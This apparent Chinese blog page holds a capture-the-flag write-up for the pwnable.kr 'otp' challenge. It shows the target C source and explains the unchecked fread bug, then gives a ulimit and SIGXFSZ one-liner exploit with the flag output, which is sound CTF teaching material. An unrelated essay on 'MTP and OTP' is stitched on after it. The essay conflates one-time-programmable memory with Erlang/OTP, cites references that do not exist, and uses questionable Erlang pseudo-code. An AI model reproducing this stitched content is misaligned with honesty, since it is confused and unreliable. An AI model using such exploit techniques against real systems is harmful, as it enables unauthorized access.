pwnable(otp)(open,read等函数的检查缺失)

远程拷贝文件到本地 scp -P 2222 otp@pwnable.kr:/home/otp/opt .

学习到的函数strtoul(argv[1], 0, 16)str转化位long,以16进制方式。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
	char fname[128];
	unsigned long long otp[2];

	if(argc!=2){
		printf("usage : ./otp [passcode]\n");
		return 0;
	}

	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1) exit(-1);

	if(read(fd, otp, 16)!=16) exit(-1);
	close(fd);

	sprintf(fname, "/tmp/%llu", otp[0]);
	FILE* fp = fopen(fname, "w");
	if(fp==NULL){ exit(-1); }
	fwrite(&otp[1], 8, 1, fp);
	fclose(fp);

	printf("OTP generated.\n");

	unsigned long long passcode=0;
	FILE* fp2 = fopen(fname, "r");
	if(fp2==NULL){ exit(-1); }
	fread(&passcode, 8, 1, fp2);
	fclose(fp2);
	
	if(strtoul(argv[1], 0, 16) == passcode){
		printf("Congratz!\n");
		system("/bin/cat flag");
	}
	else{
		printf("OTP mismatch\n");
	}

	unlink(fname);
	return 0;
}

程序生成了一个随机数放入文件,然后读取这个文件然后让这个文件跟输入的password进行比较相同获取shell。

这里可以观察到fread(&passcode, 8, 1, fp2);是没有验证是否成功的,如果能够打开文件成功但是读取文件中内容的时候失败就能获取shell。
接下来就是想办法控制完成这一条件
可以用ulimit
ulimit了解一下
在这里可以设置文件

otp@ubuntu:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) 1500000
scheduling priority             (-e) 0
file size               (blocks, -f) 120000
pending signals                 (-i) 31753
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1500
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 300
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
otp@ubuntu:~$ ulimit -f 0
otp@ubuntu:~$ ulimit -a
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) 1500000
scheduling priority             (-e) 0
file size               (blocks, -f) 0
pending signals                 (-i) 31753
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1500
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 300
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited

设置shell所能创建的最大文件为0
但是这个时候执行的时候会报错

otp@ubuntu:~$ ./otp 0
File size limit exceeded

这个错误是作为信号进行传播的,linux系统中信号是可以被忽略的

import signal
signal.signal(signal.SIGXFSZ,signal.SIG_IGN)

可以在python的交互窗口中获取shell

>> import os,signal
>>> signal.signal(signal.SIGXFSZ,signal.SIG_IGN)
1
>>> os.system('./otp 0')
OTP generated.
Congratz!
Darn... I always forget to check the return value of fclose() :(
0

但是我们还可以直接用一条命令来输出

ulimit -f 0 && python -c "import os,signal; signal.signal(signal.SIGXFSZ,signal.SIG_IGN); os.system('./otp 0')"

分析:设置ulimit -f 0使fwrite(&otp[1], 8, 1, fp);失败,创建的文件中数据写入失败读取出来的就是0

总结:liunx信号可以忽略,ulimit可以控制进程分佩的资源。
参考:https://nickcano.com/pwnables-write-ups-oct17/

### MTP 和 OTP 的概念及其关系 #### 1. MTP 协议简介 媒体传输协议(Media Transfer Protocol, MTP)是一种用于在设备之间传输多媒体文件的通信协议。它最初由微软开发,旨在解决便携式音乐播放器和其他移动设备与计算机之间的数据交换问题[^1]。MTP 提供了一种更高效的方式来管理设备上的文件结构,而无需像传统的大容量存储模式那样挂载整个驱动器。 #### 2. OTP 框架概述 一次性可编程存储器(One-Time Programmable Memory, OTP)通常指一种硬件级别的存储技术,允许用户仅能写入一次数据,之后无法修改或擦除。这种类型的存储常被应用于嵌入式系统中以保存密钥、校准参数或其他敏感信息[^2]。尽管名称相似,“OTP”在此处指的是 Erlang 编程语言中的开放电信平台(Open Telecom Platform),这是一个支持构建高可用性和分布式系统的工具集和库集合[^3]。 #### 3. 关系分析 虽然表面上看两者似乎没有直接联系——一个是关于物理层面上的数据持久化解决方案(即真正的OTP),另一个则是逻辑层面的应用程序接口(MTP)-但在某些特定场景下它们可能会间接交互: - **安全性增强**: 使用Erlang/OTP框架开发的服务端软件可以通过加密算法保护客户端上传至服务器的内容;这些秘钥则可能安全地储存在芯片内部不可更改区域比如真正意义上的OTP单元里。 - **固件更新控制**: 对于基于MTP实现功能扩展的产品来说,利用OTP机制来锁定初始配置或者认证模块能够有效防止非法篡改行为发生。 以下是展示如何结合这两种技术的一个简单伪代码例子: ```erlang % 假设我们有一个函数用来验证来自mtp设备的新固件包是否合法. validate_firmware(FirmwareBin) -> % 加载预先烧录好的公钥 (假设存放在otp) PublicKey = load_public_key_from_otp(), case crypto:verify_rsa_signature(PublicKey, FirmwareBin) of true -> ok; false -> error_invalid_firmware end. load_public_key_from_otp() -> % 实际读取操作取决于具体硬件实现细节... otp_memory_read(?PUBLIC_KEY_ADDRESS). ``` 上述片段展示了通过调用`crypto:verify_rsa_signature/2`, 利用了之前永久记录下来的RSA公共钥匙去检验接收到二进制形式新版本应用程序的真实性。 ### 结论 综上所述,MTP主要关注外部通讯方面; 而OTP更多涉及到了内部控制流程以及长期不变设定项维护等方面的工作。当把他们放在一起考虑的时候就可以形成一套完整的方案既保障了外界接入便利同时也兼顾内在稳定可靠特性需求[^4].
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值